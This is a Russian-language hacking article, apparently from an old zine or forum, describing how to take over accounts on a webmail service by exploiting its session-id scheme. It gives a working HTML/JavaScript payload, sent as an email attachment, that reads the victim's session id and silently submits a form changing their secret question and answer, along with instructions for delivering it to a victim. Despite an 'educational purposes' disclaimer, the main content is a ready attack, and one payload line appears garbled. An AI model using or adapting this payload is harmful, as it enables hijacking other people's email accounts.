И в начале небольшое предупреждение... Все
о чем я сейчас буду рассказывать, наверно
преследуется по закону, и вообще аморально,
поэтому данная инфа приводится
исключительно в образовательных целях,
особливо это будет полезно почитать админу
вышеуказанного сервера (но ему об этом еще
рано знать).
Итак. Что можно сказать, бросив беглый
взгляд на их усилия предоставить своим
пользователям конфиденциальность??? Вроде
все нормально, но! Для того чтобы сменить
пароль на ящик надо знать старый пароль, а
для смены секретного вопроса и
соответственно ответа на него, нифига знать
не надо! (Вот уроды (c) by Брат II). Значит его и
будем менять.
Весь почтовый сервер обслуживает всего
одна цгеха, которая имеет звучное название
login. Для идентификации пользователя
используется такая фигня - никнаме:x:x:x:x:xxxxxxxx:x:x:x:x,
где никнаме - имя пользователя, а x-какято
цифра. То есть форма отправляет серверу
примерно следующее: /cgi-bin/login?sessionid=
никнаме:x:x:x:x:xxxxxxxx:x:x:x:x,
ну и конечно же поля формы. Если внимательно
присмотреться к этим цифрам, можно заметить,
что то, что посередине генерируется
случайно (и не меняется весь сеанс работы с
ящиком), все остальные числа статические, и
наверняка что-то для сервера значат.
От нечего делать я из всех записал, и вот
что у меня получилось. В Главном меню:
nickname:0:1:0:6:xxxxxxxx:3:3:1:1 - линк на инбох,
nickname:0:1:0:6:xxxxxxxx:4:3:1:1 - линк на compose
nickname:0:1:0:6:xxxxxxxx:11:3:1:1 - линк на addreses
nickname:0:1:0:6:xxxxxxxx:12:3:1:1 - линк на folders
nickname:0:1:0:6:xxxxxxxx:6:3:1:1 - линк на options
nickname:0:1:0:6:xxxxxxxx:14:3:1:1 - линк на logout
на смену пароля и секретного вопроса -
nickname:0:1:0:6:xxxxxxxx:16:26:1:1
Я мог бы продолжить и перечислить все
остальное, если надо сами глянете, скажу
тока пару слов - первое число (сразу после
имени) - это номер письма, которое Вы сейчас
читаете, второе число - номер папки, в
которой вы находитесь (1 по умолчанию - INBOX, 2 -
SEND ITEMS, 3 - DELETET ITEMS, ну и т.д) следующая - гуй ее
знает что это, но она всегда = 0, потом идет
цифра, которая показывает как сортировать
письма (1 - by Sender, 3 - by Subject, 7 - by Size и 5 - by Date).
Дальше идет рандомное 8-значное число, 2
цифры за ним говорят серверу что мы хотим
сделать, и 2 последние всегда = 1 Итак, все что
нам надо сделать - узнать эти рандомно
генерируемые числа.
Я думаю хватит теории, вот
непосредственно атака: создаем у себя на
диске файлец и назовем его например part2, в
нем пишем следующую муть:
<img src="http://" onmouseover="
line1=parent.frames[0].document.links[0];
line2=line1.href;
a3=line2.length;
a3Ј-7;
line3=line2.substring(43,a3);
line3=line3+'16:26:1:1';
document.forma.sessionid.value=line3;
document.forma.submit();">
<form name=forma action="/cgi-bin/login" method=post>
<input type=hidden name="sessionid" value="">
<input type=hidden name="questionr" value="vopros">
<input type=hidden name="passremin" value="otvet">
</form>
Дальше текст письма и все такое.... Пишем
письмецо жертве, и прикрепляем к нему наш
файлец part2... Как тока жертва откроет наш
атачмент, секретный вопрос на его(ее) ящик
поменяется... Всю эту фигню надо слать
обязательно в атачменте, потому что по-иному
фильтруются теги...
|